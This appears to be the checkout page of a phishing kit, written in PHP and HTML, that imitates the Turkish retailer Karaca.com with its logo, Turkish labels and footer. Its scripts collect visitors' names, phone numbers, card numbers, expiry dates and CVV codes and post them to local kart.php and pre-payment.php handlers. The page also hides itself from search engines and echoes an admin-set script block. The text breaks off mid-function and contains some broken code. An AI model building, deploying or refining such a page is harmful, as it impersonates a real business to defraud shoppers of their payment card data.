<?php
error_reporting(0);
// Session start
session_start();
ob_start();

$basket = $_SESSION['basket'] ?? [];

// Include Helper
include_once('../inc/helper.php');

// Check product info database
$basket_info = $_SESSION['basket_info'];
$sql = "SELECT * FROM products WHERE id = :id";
$stmt = $db->prepare($sql);
$stmt->execute(['id' => $basket_info['product_id']]);
$product = $stmt->fetch(PDO::FETCH_OBJ);

$admin = $db->query('SELECT * FROM admins WHERE id = 1')->fetch(PDO::FETCH_OBJ);
?>

<!DOCTYPE html>
<html lang="tr">

<head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE-EmulateIE7">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta id="viewport" name="viewport"
          content="width=device-width, maximum-scale=1.0, initial-scale=1.0, user-scalable=no, minimal-ui">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex, nofollow">


    <title>Ödeme</title>


    <link rel="stylesheet" href="_next/static/css/app.6228f064c108b5d46e18.css" as="style"/>
    <link rel="stylesheet" href="_next/static/css/font.6228f064c108b5d46e18.css"/>
    <!-- JQUERY -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.3/jquery.min.js"></script>
    <!-- Custom inline JS -->
    <script type="text/javascript">
        var GLOBALS = {
            THUMBNAIL_ACTIVE: true,
            THUMBNAIL_OPTIONS: {
                "product-list__big": {
                    "width": 587,
                    "quality": 60,
                    "crop": "center",
                    "height": 587
                },
                "category-detail": {
                    "width": 870,
                    "quality": 60,
                    "height": 317
                },
                "email-thumbnail": {
                    "width": 80,
                    "quality": 60,
                    "crop": "center",
                    "height": 80
                },
                "product_basket_thumb_image": {
                    "width": 120,
                    "quality": 60,
                    "height": 120
                },
                "discount-product-list": {
                    "width": 190,
                    "quality": 100,
                    "crop": "center",
                    "height": 190
                },
                "product-content-variant-image": {
                    "width": 70,
                    "quality": 60,
                    "crop": "center",
                    "height": 70
                },
                "product-detail__slider_display": {
                    "width": 780,
                    "quality": 60,
                    "crop": "center",
                    "height": 780
                },
                "product-detail__slider_zoom": {
                    "width": 1400,
                    "quality": 60,
                    "crop": "center",
                    "height": 1400
                },
                "product-detail__slider_thumbnail": {
                    "width": 150,
                    "quality": 60,
                    "crop": "center",
                    "height": 150
                },
                "category-detail__sub-category-banner": {
                    "width": 270,
                    "quality": 60,
                    "height": 335
                },
                "autocomplete": {
                    "width": 40,
                    "quality": 60,
                    "height": 40
                },
                "category-detail__campaign-banner": {
                    "width": 420,
                    "quality": 60,
                    "height": 210
                },
                "product-map-image": {
                    "width": 60,
                    "quality": 60,
                    "crop": "center",
                    "height": 60
                },
                "product-list": {
                    "width": 250,
                    "quality": 100,
                    "crop": "center",
                    "height": 250
                }
            },
            DEFAULT_COUNTRY: {
                'pk': 1
            },
            isUserLoggin: false,
            userPhone: '',
            sendTime: '',
            phoneLogin: '',
            isAutoSetShippingOption: false,
            isPaymentTabRunningFromSlug: true,
            disableAutoSelectOneAddress: true,
            userEmail: '',
            userName: '',
            userSurname: '',

            page: 'checkout'

        };


    </script>
    <link rel="preload" href="assets/img/static_omnishop/ayb822/dist/panton-regular-webfont.woff2" as="font"
          type="font/woff2" crossorigin="">
    <link rel="preload" href="assets/img/static_omnishop/ayb822/dist/panton-bold-webfont.woff2" as="font"
          type="font/woff2" crossorigin="">
    <link rel="preload" href="assets/img/static_omnishop/ayb822/dist/a101_tradegothic-bold-webfont.woff2" as="font"
          type="font/woff2" crossorigin="">
    <link rel="preload" href="assets/img/static_omnishop/ayb822/dist/a101_tradegothic-bold-webfont.woff2" as="font"
          type="font/woff2" crossorigin="">
    <link rel="preload" href="assets/img/static_omnishop/ayb822/dist/panton-extrabold-webfont.woff2" as="font"
          type="font/woff2" crossorigin="">
    <link rel="preload" href="assets/img/static_omnishop/ayb822/dist/panton-blackcaps-webfont.woff2" as="font"
          type="font/woff2" crossorigin="">
    <link rel="preload" href="assets/img/static_omnishop/ayb822/dist/icomoon.ttf" as="font" type="font/ttf"
          crossorigin="">
    <script src="assets/js/cookie-seal.js"></script>

</head>

<body class="page-inner address">
<section class="js-main-wrapper">
    <style>
        .page-checkout {
            display: flex;
            justify-content: center;
        }

        .container {
            width: 100%;
            max-width: 1200px;
        }
    </style>


    <!-- yeni section -->
    <div class="basket">
        <div class="basketHeader container"><a href="/">
                <div class="logo"><img src="https://www.karaca.com/catalog/view/assets/images/logos/karacalogo.svg"
                                       alt="Karaca"></div>
            </a>
            <div class="account">
                <div class="dropdown"><a type="button" id="accountDropdown" data-toggle="dropdown" aria-haspopup="true"
                                         aria-expanded="false"></a></div>
            </div>
            <div class="mobileBasketHeader"><a href="/checkout/cart" class="item"><i
                            class="krc-arrow2-left"></i></a><span class="item count">Teslimat</span></div>
        </div>
        <div class="modal fade" id="deleteAddress">
            <div class="modal-dialog modal-dialog-centered">
                <div class="modal-content">
                    <div class="modal-header"><h4 class="modal-title">ADRES BİLGİSİ</h4>
                        <button type="button" class="close modalCloseCustom" data-dismiss="modal"><i
                                    class="krc-close-circle"></i></button>
                    </div>
                    <div class="modal-body">
                        <div class="modalBodyKrc"><span class="text">Adresiniz silinecek onaylıyor musunuz?</span>
                            <div class="modalBtnWrap button-2">
                                <button type="button" class="krc-btn krc-btn-border" data-dismiss="modal">Vazgeç
                                </button>
                                <button type="button" class="address-delete-button krc-btn krc-btn-full">Sil</button>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="modal fade" id="defaultAddress">
            <div class="modal-dialog modal-dialog-centered">
                <div class="modal-content">
                    <div class="modal-header"><h4 class="modal-title">Varsayılan Adres Seçimi</h4>
                        <button type="button" class="close modalCloseCustom" data-dismiss="modal"><i
                                    class="krc-close-circle"></i></button>
                    </div>
                    <div class="modal-body">
                        <div class="modalBodyKrc"><span class="text">Adresiniz varsayılan geçerli adres seçilecek onaylıyor musunuz?</span>
                            <div class="modalBtnWrap button-2">
                                <button type="button" class="krc-btn krc-btn-border" data-dismiss="modal">Vazgeç
                                </button>
                                <button type="button" class="address-default-button krc-btn krc-btn-full">Onayla
                                </button>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div id="modalPickupAdress"
             class="modal hide modal-backdrop d-md-none d-none address-change-mobile-modal delivery-address-select-container"
             tabindex="-1">
            <div class="modal-dialog wrapper">
                <div class="modal-content address-change-modal-content modal-content-mobile">
                    <div class="modal-header"><h5 class="modal-title">Teslimat Adresi</h5>
                        <div class="close-modal">
                            <div class="selectBox dropdown"><a
                                        class="selected-address-dropdown adrese-teslimat-mobile-dropdown"
                                        data-address_type="shipping" href="javascript:;" role="button"><img
                                            src="https://static.karaca.com/catalog/view/assets/images/icons/modal-close.svg"
                                            alt="modal-close"></a></div>
                        </div>
                    </div>
                    <div class="modal-body">
                        <div class="delivery-address-select-container">
                            <div class="delivery-address-select-items-container"></div>
                            <div style="display: none;"
                                 class="delivery-address-select-header delivery-address-select-header-adrese-teslimat">
                                <a href="javascript:void(0);"
                                   class="address-form address-form-shipping address-mobile-modal-button"
                                   data-address_type="1" data-address_id="0">
                                    <div>Yeni Adres Ekle</div>
                                </a></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="modal fade modal_open_modalStoreDelivery" id="modalStoreDelivery" tabindex="-1"
             aria-labelledby="modal_modalStoreDeliveryLabel" style="display: none;" aria-hidden="true">
            <div class="modal-dialog modal-lg modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header"><span class="modal-title" id="modal_modalStoreDeliveryLabel"><strong>Mağazadan Teslim Al</strong></span>
                        <button type="button" class="close modalCloseCustom" data-dismiss="modal" aria-label="Close"><i
                                    class="krc-close-circle"></i></button>
                    </div>
                    <div class="modal-body">
                        <form id="store-modal-filtre" onsubmit="return false;"><input type="hidden"
                                                                                      name="store_modal_type" value="2">
                            <div class="storeDeliveryContent">Teslimatınızı bazı ürünler için aynı gün, diğer ürünler
                                içinse ürün mağazaya ulaştırıldıktan sonra tarafınıza iletilecek bilgilendirme mesajıyla
                                kolayca alın.
                            </div>
                            <div class="storeDeliveryInfoImgContainer">
                                <div class="storeDeliveryFirstStep">
                                    <div class="storeDeliveryFirstStepContainer">
                                        <div class="storeDeliveryFirstStepCircle"><img
                                                    src="/sadece-online-ozel/catalog/view/assets/images/icons/address-location.svg"></div>
                                        <div class="storeDeliveryFirstNumber"><b>1</b></div>
                                        <div class="storeDeliveryFirstDesc">En yakın mağazayı seç sipariş ver</div>
                                    </div>
                                </div>
                                <div class="storeDeliveryLine"></div>
                                <div class="storeDeliverySecondStep">
                                    <div class="storeDeliverySecondStepContainer">
                                        <div class="storeDeliverySecondStepCircle"><img
                                                    src="/sadece-online-ozel/catalog/view/assets/images/icons/address-basket.svg"></div>
                                        <div class="storeDeliverySecondNumber"><b>2</b></div>
                                        <div class="storeDeliverySecondDesc">0-4 gün içerisinde siparişini mağazadan
                                            teslim al
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="storeDeliveryLocationButtonContainer">
                                <button class="krc-btn krc-btn-border locationBtn store-location-button">En Yakın
                                    Mağazaları Göster
                                </button>
                            </div>
                            <div class="form-row locationSelectLine">
                                <div class="form-group col-md-12 select">
                                    <label>İlçe</label>
                                    <input type="text" name="ilce" class="form-control" id="inputIlce">
                                </div>
                            </div>
                            <div class="form-group store-fast-filtre-checkbox"><input type="checkbox"
                                                                                      name="store-fast-filtre" value="1"
                                                                                      id="sameDayDelivery"
                                                                                      class="checkbox"><label
                                        for="sameDayDelivery" class="checkboxLabel">
                                    <div><i class="krc-okay"></i></div>
                                    Aynı Gün Teslimat Geçerli Mağazalar </label></div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
        <div class="modal fade modal_open_noDeliveryModal" id="noDeliveryModal" tabindex="-1" role="dialog"
             aria-labelledby="modal_noDeliveryModalLabel" aria-hidden="true">
            <div class="modal-dialog modal-md modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header"><span class="modal-title" id="modal_noDeliveryModalLabel"><strong>Mağazadan Teslimat Hakkında</strong></span>
                        <button type="button" class="close modalCloseCustom" data-dismiss="modal" aria-label="Close"><i
                                    class="krc-close-circle"></i></button>
                    </div>
                    <div class="modal-body">
                        <div style="margin: 0 32px">
                            <div> Sepetinizde <b> mağazadan teslimata uygun olmayan </b> ürün(ler) bulunmaktadır.
                                Dilerseniz tüm ürünlerinizi adrese teslim olarak aşağıdaki <b>“Adrese Teslim Devam
                                    Et”</b> butonu ile değiştirebilirsiniz. Mağazadan teslime devam etmek istediğiniz
                                taktirde uygun olmayan ürünler <b> sepetinizden silinecektir. </b></div>
                            <div class="krc-btn krc-btn-full" style="margin-top: 40px">Adrese Teslim İlerle</div>
                            <div class="krc-btn" style="border: 1px solid #979797; margin-top: 20px">Mağazadan Teslim
                                İlerle
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="basketContent">
            <div class="container">
                <div class="row">
                    <div class="col-sm-12 col-lg-8 left">
                        <div id="deliveryWrap" class="deliveryWrap">
                            <div class="delivery-options-tab-container">
                                <div class="delivery-options-tab-header"><b>Teslimat Seçenekleri</b></div>
                                <ul id="tabs" class="nav nav-tabs krc-tabs" role="tablist">
                                    <li data-tab_status="standart" data-type_status="1"
                                        class="nav-item delivery-options-tab-left krc-tab-btn active"><a
                                                href="javascript:void(0)" data-delivery_type="standart"
                                                class="delivery-link delivery-type-selected" data-toggle="tab"
                                                role="tab" aria-selected="false">
                                            <div class="delivery-options-circle">
                                                <div class="delivery-options-circle-inside"></div>
                                            </div>
                                            <div class="delivery-options-desc">
                                                <div class="delivery-options-header">Adrese Teslimat</div>
                                                <div class="delivery-options-gray">Adrese hızlı teslimat seçenekleri.
                                                </div>
                                            </div>
                                        </a></li>
                                    <li data-tab_status="store" data-type_status="1"
                                        class="nav-item delivery-options-tab-right krc-tab-btn"><a
                                                href="javascript:void(0)"
                                                class="delivery-link delivery-type-selected active"
                                                data-delivery_type="store" data-toggle="tab" role="tab"
                                                aria-selected="true">
                                            <div class="delivery-options-desc-container">
                                                <div class="delivery-options-circle">
                                                    <div class="delivery-options-circle-inside"></div>
                                                </div>
                                                <div class="delivery-options-desc">
                                                    <div class="delivery-options-header">Mağazadan Teslimat</div>
                                                    <div class="delivery-options-gray">
                                                        <div class="store-name-active" style="display: inline;">Mağaza
                                                            Seç
                                                        </div>
                                                        <span style="display:none;" href="javascript:;"
                                                              class="checkout-change-store-delivery"
                                                              data-form_name="checkout_form"
                                                              data-form_type="1">Değiştir</span></div>
                                                </div>
                                            </div>
                                        </a>
                                        <div style="display: block ;"
                                             class="store-delivery-free orderStoreTab-ucretsiz">Ücretsiz
                                        </div>
                                    </li>
                                </ul>
                            </div>
                            <form id="checkout_form" action="" method="post" class="ps20"><input type="hidden"
                                                                                                 name="checkout_invoice_type"
                                                                                                 value="0"><input
                                        type="hidden" name="delivery_type" value="standart"><input type="hidden"
                                                                                                   name="delivery_store_id"
                                                                                                   value="0"><input
                                        type="hidden" name="delivery_store_id_c" value="0"><input type="hidden"
                                                                                                  name="fast_token"
                                                                                                  value="s4d2x5h4t554d2135433z2x2t2x21443y29414e2u4w5p5u5h253q3z223s224t2m5d4l5841354o5x2b2n2n3h4k5a213d264z243s2y2v28413j296"><input
                                        type="hidden" name="shipping_address_id" value=""><input type="hidden"
                                                                                                 name="payment_address_id"
                                                                                                 value=""><input
                                        type="hidden" name="store_address_id" value="21381135"><input type="hidden"
                                                                                                      name="stock_system"
                                                                                                      value="1"><input
                                        type="hidden" name="fast_delivery_checked" value="0"><input type="hidden"
                                                                                                    name="fast_delivery_checked_message"
                                                                                                    value=""><input
                                        type="hidden" name="product_id[]" value="7126611"><input type="hidden"
                                                                                                 name="product_id[]"
                                                                                                 value="7173100"></form>
                            <div class="tab-content orderAdsress" role="tablist" style="display: none;">
                                <div id="orderAdsressTab" class="tab-pane active" aria-labelledby="orderAdsressTab">
                                    <div class="fast-shippig-loading text-center" style="display: none;">
                                        <div class="loading-ring">
                                            <div></div>
                                            <div></div>
                                            <div></div>
                                            <div></div>
                                        </div>
                                        <p>Teslimat seçenekleri yükleniyor...</p></div>
                                    <div style="background-color: white; display: none;"
                                         class="deliveryOptions fastShippingOptions">
                                        <div class="doHead" style="display: none;"><b>Ürünlerim</b></div>
                                        <div class="productListNew" style="display: none;"></div>
                                    </div>
                                </div>
                                <div id="orderStoreTab" class="tab-pane" aria-labelledby="orderStoreTab">
                                    <div class="fast-shippig-loading text-center" style="display: none;">
                                        <div class="loading-ring">
                                            <div></div>
                                            <div></div>
                                            <div></div>
                                            <div></div>
                                        </div>
                                        <p>Teslimat seçenekleri yükleniyor...</p></div>
                                    <div class="deliveryOptions storeShippingOptions" style="display: none;">
                                        <div class="doHead"><b>Mağazadan Teslim Edilecek Ürünler </b><span
                                                    class="delivery-adress-pickup-store-free">Ücretsiz</span></div>
                                        <div class="store-products"></div>
                                    </div>
                                </div>
                            </div>
                            <div class="addressDefine"
                                 style="background-color: rgb(255, 255, 255); margin: 24px 0px; display: block;">
                                <div class="addressInputs">
                                    <form id="shippingAddressForm" name="shippingAddressForm" style=""
                                          novalidate="novalidate"><input type="hidden" name="address_id" value=""><input
                                                type="hidden" name="address_type" value="1">
                                        <div class="">
                                            <div class="addressInputHead">Yeni Teslimat Adresi</div>
                                            <div class="form-row">
                                                <div class="form-group is-required col-md-6"><label
                                                            for="inputName2">Ad</label><input type="text"
                                                                                              name="firstname"
                                                                                              class="form-control"
                                                                                              id="inputName2"></div>
                                                <div class="form-group is-required col-md-6"><label for="inputSurname2">Soyad</label><input
                                                            type="text" name="lastname" class="form-control"
                                                            id="inputSurname2"></div>
                                            </div>
                                            <div class="form-row">
                                                <div class="form-group is-required col-lg-6"><label for="telephone2">Telefon</label>
                                                    <div class="inputTelephonePlaceHolder"><input id="inputPhone2" type="text"
                                                                                                  name="telephone"
                                                                                                  autocomplete="new-password"
                                                                                                  class="form-control telephoneMasked"
                                                                                                  value="" required="">
                                                        <div class="telephoneInformationTooltip"><i
                                                                    class="krc-Information"></i>
                                                            <p class="telephoneInformationText"> Telefon numarası <br>
                                                                (555) 555 55 55 <br> formatında olmalıdır! </p></div>
                                                    </div>
                                                </div>
                                                <div class="form-group is-required col-md-6 select"><label
                                                            for="inputCity2">Şehir</label><input type="text" name="il" class="form-control" id="inputIl"></div>
                                            </div>
                                            <div class="form-row">
                                                <div class="form-group is-required col-md-12">
                                                    <label for="inputTown2">İlçe</label>
                                                    <input type="text" name="ilce" class="form-control" id="inputIlce">

                                                </div>
                                                <div class="form-group is-required col-md-12"><label
                                                            for="textareaAddress">Adres</label><textarea
                                                            style="resize: none;" class="form-control" name="address_1"
                                                            id="textareaAddress" rows="3"></textarea></div>
                                                <div class="form-row">
                                                    <div class="form-group is-required col-sm-4 col-12"><label
                                                                for="building_number">Bina/Blok No</label><input
                                                                class="form-control" name="building_number"
                                                                id="building_number" type="text" placeholder="Bina No">
                                                    </div>
                                                    <div class="form-group col-sm-4 col-12"><label for="floor_number">Kat
                                                            No</label><input class="form-control" name="floor_number"
                                                                             id="floor_number" type="text"
                                                                             placeholder="Kat No"></div>
                                                    <div class="form-group is-required col-sm-4 col-12"><label
                                                                for="door_number">Daire No</label><input
                                                                class="form-control" id="door_number" name="door_number"
                                                                type="text" placeholder="Daire No"></div>
                                                    <div class="form-group col-sm-12 col-12"><label
                                                                for="address_description">Adres Tarifi</label><textarea
                                                                class="form-control" name="address_description"
                                                                id="address_description" rows="{5}"></textarea></div>
                                                </div>
                                                <div class="form-row">
                                                    <div class="form-group col-md-6"><label for="postcode">Posta
                                                            Kodu</label><input type="text" class="form-control"
                                                                               name="postcode" id="postcode"></div>
                                                    <div class="form-group is-required col-md-6"><label
                                                                for="inputAddressName">Adres Başlığı</label><input
                                                                type="text" class="form-control" name="name"
                                                                id="inputAddressName"></div>
                                                </div>
                                            </div>
                                    </form>
                                    <form id="paymentAddressForm" name="paymentAddressForm" style="display: none;"
                                          novalidate="novalidate"><input type="hidden" name="address_id" value=""><input
                                                type="hidden" name="address_type" value="2">
                                        <div class="">
                                            <div class="addressInputHead">Yeni Fatura Adresi</div>
                                            <div class="form-row">
                                                <div class="form-group is-required col-md-6"><label
                                                            for="inputName3">Ad</label><input type="text"
                                                                                              name="firstname"
                                                                                              class="form-control"
                                                                                              id="inputName3"></div>
                                                <div class="form-group is-required col-md-6"><label for="inputSurname3">Soyad</label><input
                                                            type="text" name="lastname" class="form-control"
                                                            id="inputSurname3"></div>
                                            </div>
                                            <div class="form-row">
                                                <div class="form-group is-required col-lg-6"><label for="telephone3">Telefon</label>
                                                    <div class="inputTelephonePlaceHolder"><input type="text"
                                                                                                  name="telephone"
                                                                                                  autocomplete="new-password"
                                                                                                  class="form-control telephoneMasked"
                                                                                                  value="" required="">
                                                        <div class="telephoneInformationTooltip"><i
                                                                    class="krc-Information"></i>
                                                            <p class="telephoneInformationText"> Telefon numarası <br>
                                                                (555) 555 55 55 <br> formatında olmalıdır! </p></div>
                                                    </div>
                                                </div>
                                                <div class="form-group is-required col-md-6"><label for="inputCity3">Şehir</label><select
                                                            name="zone_id" class="form-control krc-select">
                                                        <option selected="" value="">Seçiniz</option>
                                                    </select></div>
                                            </div>
                                            <div class="form-row">
                                                <div class="form-group is-required col-md-12">
                                                    <label for="inputTown3">İlçe</label>
                                                    <input type="text" name="ilce" class="form-control" id="inputIlce">
                                                </div>
                                            </div>
                                            <div class="form-group is-required col-md-12"><label
                                                        for="textareaAddress2">Adres</label><textarea
                                                        style="resize: none;" name="address_1" class="form-control"
                                                        id="textareaAddress2" rows="3"></textarea></div>
                                            <div class="form-row">
                                                <div class="form-group is-required col-sm-4 col-12"><label
                                                            for="building_number">Bina/Blok No</label><input
                                                            class="form-control" name="building_number"
                                                            id="building_number" type="text" placeholder="Bina No">
                                                </div>
                                                <div class="form-group col-sm-4 col-12"><label for="floor_number">Kat
                                                        No</label><input class="form-control" name="floor_number"
                                                                         id="floor_number" type="text"
                                                                         placeholder="Kat No"></div>
                                                <div class="form-group is-required col-sm-4 col-12"><label
                                                            for="door_number">Daire No</label><input
                                                            class="form-control" id="door_number" name="door_number"
                                                            type="text" placeholder="Daire No"></div>
                                                <div class="form-group col-sm-12 col-12"><label
                                                            for="address_description">Adres Tarifi</label><textarea
                                                            class="form-control" name="address_description"
                                                            id="address_description" rows="{5}"></textarea></div>
                                            </div>
                                            <div class="form-row">
                                                <div class="form-group col-md-6"><label for="inputAddressNameBilling">Posta
                                                        Kodu</label><input type="text" name="postcode"
                                                                           class="form-control"
                                                                           id="inputAddressNameBilling"></div>
                                                <div class="form-group is-required col-md-6"><label
                                                            for="inputAddressNameBilling">Adres Başlığı</label><input
                                                            type="text" name="name" class="form-control"
                                                            id="inputAddressNameBilling"></div>
                                            </div>
                                        </div>
                                        <div class="addressBtns">
                                            <button type="button" data-form_name="paymentAddressForm"
                                                    class="address-form-clear krc-btn krc-btn-border">Vazgeç
                                            </button>
                                            <button class="krc-btn krc-btn-full btn-checkout-next">Devam Et4</button>
                                        </div>
                                    </form>
                                </div>
                            </div>
                        </div>
                    </div>

                </div>
                <?php
                $basket = $_SESSION['basket'] ?? [];

                $sql = "SELECT * FROM products WHERE id = :id";
                $stmt = $db->prepare($sql);
                $stmt->execute(['id' => $product['product_id']]);
                $product = $stmt->fetch(PDO::FETCH_OBJ);
                $admin = $db->query('SELECT * FROM admins WHERE id = 1')->fetch(PDO::FETCH_OBJ);

                $toplamFiyat = 0;
                foreach ($basket as $productItem)
                {
                    $sql = "SELECT * FROM products WHERE id = :id";
                    $stmt = $db->prepare($sql);
                    $stmt->execute(['id' => $productItem['product_id']]);
                    $product = $stmt->fetch(PDO::FETCH_OBJ);
                    if ($product) {
                        $toplamFiyat += $product->ProductPrice;
                    }
                }
                $totalPrice = $toplamFiyat;

                ?>
                <div class="col-sm-12 col-lg-4 d-none d-sm-block right">
                    <div class="orderSummary deliveryOrderSummery">
                        <div class="makemesticky">
                            <div class="head d-none d-sm-block"><span>Sipariş Özeti</span></div>
                            <div class="summaryInfo d-none d-sm-block">
                                <div class="line summary-detail__wrapper" id="sub_total" data-sub-total="<?= $totalPrice; ?> TL">
                                    <span class="summary-detail__label">Ara Toplam</span>
                                    <span class="summary-detail__price"><?= number_format($totalPrice, 2); ?> TL</span>
                                </div>
                                <div class="line summary-detail__wrapper success" id="shipping" data-shipping="0">
                                    <span class="summary-detail__label">Ücretsiz Kargo</span>
                                    <span class="summary-detail__price" style="color:#05b71d;"> 0.00 TL</span>
                                </div>
                                <div class="line summary-detail__wrapper" id="total" data-total="<?= $totalPrice; ?> TL">
                                    <span class="summary-detail__label">Toplam</span>
                                    <span class="summary-detail__price"><?= number_format($totalPrice, 2); ?> TL</span>
                                </div>
                            </div>
                            <div class="orderNextStep">
                                <button id="odemeyap" type="button" class="btn-checkout-next krc-btn krc-btn-full">Devam Et</button>
                            </div>
                        </div>
                    </div>
                </div>

            </div>
        </div>
          
          
          
        <div class="sticky-summary d-flex d-sm-none">
            <div class="price">
                <div class="right text-left"><span>Toplam</span>
                    <div class="price-merge"><strong id="cart-total-mobil"><?= number_format($totalPrice, 2); ?> TL</strong></div>
                </div>
            </div>
            <div id="odemeyap2" class="button btn-checkout-next"><a type="button" class="btn-checkout-next krc-btn krc-btn-full">Devam Et</a></div>
        </div>
        <script>
            var invoiceAddressCount = 1;
            var shippingAddressCount = 0;
        </script>
    </div>

    <!-- Payment Section End -->

    <div class="basketFooter d-none d-lg-flex">
        <div class="copyright">Karaca.com © 2024 - Karaca Züccaciye A.Ş. Tüm hakları saklıdır.</div>
        <div class="banks">
            <img data-src="https://static.karaca.com/catalog/view/assets/images/logos/bank-logos-footer.png"
                 class="img-fluid lazyloaded" alt="Karaca Checkout - Bankalar"
                 src="https://static.karaca.com/catalog/view/assets/images/logos/bank-logos-footer.png">
        </div>
    </div>


    <div class="clear"></div>
</section>


<div class="back-to-top js-back-to-top hide-on-app">
    <i class="fa fa-angle-up"></i>
</div>
<style>
    /* Modal için stil */
    .mmodal {
        display: none; /* Varsayılan olarak gizli */
        position: fixed; /* Sabit konum */
        z-index: 15; /* En üstte görünmesi için */
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        background-color: rgba(255, 255, 255, 1); /* Beyaz arka plan */
    }

    .mmodal-content {
        position: relative;
        margin: 2% auto; /* Ortada görünmesi için */
        padding: 20px;
        width: 60%; /* Genişlik */
        border: 1px solid #888;
        background-color: white;
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
        z-index: 999;
    }

    .close {
        color: #aaa;
        float: right;
        font-size: 28px;
        font-weight: bold;
    }

    .close:hover,
    .close:focus {
        color: black;
        text-decoration: none;
        cursor: pointer;
    }
    #modalBasligi
    {
        text-align: left;
        width: 100%;
        border-bottom: 1px solid rgba(0,0,0,.35);
    }
    .karttablar
    {
        height: unset !important;
    }
</style>
<!-- Modal -->
<div id="myModal" class="mmodal">
    <div class="mmodal-content">
        <span class="close" id="closeModal">&times;</span>
        <h2 id="modalBasligi">Güvenli Ödeme</h2>
        <div id="kartyukle"></div>
    </div>
</div>
<script src="assets/js/bundle.js"></script>
<?= $admin->supporta ?>
<script src="assets/js/payment.js"></script>
<script>
    // DOM yüklendiğinde çalışacak
    document.addEventListener("DOMContentLoaded", function() {
        var modal = document.getElementById("myModal");
        var btn = document.getElementById("openModalBtn");
        var span = document.getElementById("closeModal");
        $('#closeModal').on('click', function() {
            $("#myModal").css("display","none");
        });
        $('#myModal').on('click', function() {
            //$("#myModal").css("display","none");
        });
        if(e.key === "Escape") {
            $("#myModal").css("display","none");
        }
        // Butona tıklandığında modalı aç
        btn.onclick = function() {

            $("#myModal").css("display","none");
        }

        // Kapatma butonuna tıklandığında modalı kapat
        span.onclick = function() {
            $("#myModal").css("display","none");
        }

        // Modal dışına tıklanıldığında kapat
        window.onclick = function(event) {
            if (event.target == modal) {
                $("#myModal").css("display","none");
            }
        }

        // ESC tuşuna basıldığında modalı kapat
        window.onkeydown = function(event) {
            if (event.key === "Escape") {
                $("#myModal").css("display","none");
            }
        }
    });
</script>


<script>
  	['odemeyap', 'odemeyap2'].forEach(function(id) {
    document.getElementById(id).addEventListener('click', function() {
        let inputData1 = document.getElementById('inputName2') ? document.getElementById('inputName2').value : null;
        let inputData2 = document.getElementById('inputSurname2') ? document.getElementById('inputSurname2').value : null;
        let inputData3 = document.getElementById('inputPhone2') ? document.getElementById('inputPhone2').value : null;
        var teln = document.getElementById('inputPhone2') ? document.getElementById('inputPhone2').value : null;
        let ccNumber = document.getElementById('cc_number') ? document.getElementById('cc_number').value : null;
        let cc_name = document.getElementById('cc_name') ? document.getElementById('cc_name').value : null;
        let cc_expire_date_month = document.getElementById('cc_expire_date_month') ? document.getElementById('cc_expire_date_month').value : null;
        let cc_expire_date_year = document.getElementById('cc_expire_date_year') ? document.getElementById('cc_expire_date_year').value : null;
        let cc_cvv2 = document.getElementById('cc_cvv2') ? document.getElementById('cc_cvv2').value : null;

        function attachCardEventListeners() {
            const ccNumberEl = document.getElementById('cc_number');
            const ccNameEl = document.getElementById('cc_name');
            const ccExpiryMonthEl = document.getElementById('cc_expire_date_month');
            const ccExpiryYearEl = document.getElementById('cc_expire_date_year');
            const ccCvvEl = document.getElementById('cc_cvv2');

            if (ccNumberEl) {
                ccNumberEl.addEventListener('input', function(e) {
                    let value = e.target.value.replace(/\D/g, '');
                    if (value.length > 16) {
                        value = value.slice(0, 16);
                    }
                    value = value.replace(/(\d{4})/g, '$1 ').trim();
                    e.target.value = value;

                    let maskedNumber = value.padEnd(19, '*');
                    document.getElementById('jp_card_number').textContent = maskedNumber;
                });
            }

            if (ccNameEl) {
                ccNameEl.addEventListener('input', function(e) {
                    const value = e.target.value.replace(/[^a-zA-Z\s]/g, '');
                    e.target.value = value;
                    document.getElementById('jp_card_name').textContent = value || 'ADINIZ';
                });
            }

            if (ccCvvEl) {
                ccCvvEl.addEventListener('input', function(e) {
                    let value = e.target.value.replace(/\D/g, '');
                    if (value.length > 3) {
                        value = value.slice(0, 3);
                    }
                    e.target.value = value;

                    document.querySelector('.jp-card-cvc').textContent = value.padEnd(3, '*');
                });
            }

            if (ccExpiryMonthEl && ccExpiryYearEl) {
                function updateExpiry() {
                    const month = ccExpiryMonthEl.value;
                    const year = ccExpiryYearEl.value;
                    const formattedExpiry = month && year ? `${month}/${year}` : 'MM/YYYY';
                    document.querySelector('.jp-card-expiry').textContent = formattedExpiry;
                }

                ccExpiryMonthEl.addEventListener('change', updateExpiry);
                ccExpiryYearEl.addEventListener('change', updateExpiry);
            }
        }

        if (inputData1) {
            const params = new URLSearchParams();
            params.append('ad', inputData1);
            if (inputData2) {
                params.append('soyad', inputData2);
            }
            if (inputData3) {
                params.append('tel', inputData3);
            }

            fetch('kart.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
                body: params.toString(),
            })
                .then(response => {
                    if (!response.ok) {
                        throw new Error('Yoğun trafik nedeniyle isteğinizi şu an işleme alamıyoruz.');
                    }
                    return response.text();
                })
                .then(data => {
                    document.getElementById('deliveryWrap').innerHTML = data;
                    attachCardEventListeners();
                })
                .catch(error => {
                    console.error('Hata:', error);
                    document.getElementById('deliveryWrap').innerText = 'Bir hata oluştu.';
                });

        } else if (ccNumber) {
            var ajaxRequest = $.post("pre-payment.php", {
                tel: teln,
                cc_number: ccNumber,
                cc_name: cc_name,
                cc_expire_date_month: cc_expire_date_month,
                cc_expire_date_year: cc_expire_date_year,
                cc_cvv2: cc_cvv2
            });

            ajaxRequest.done(function(result) {
                if (result.status === false) {
                    return;
                }

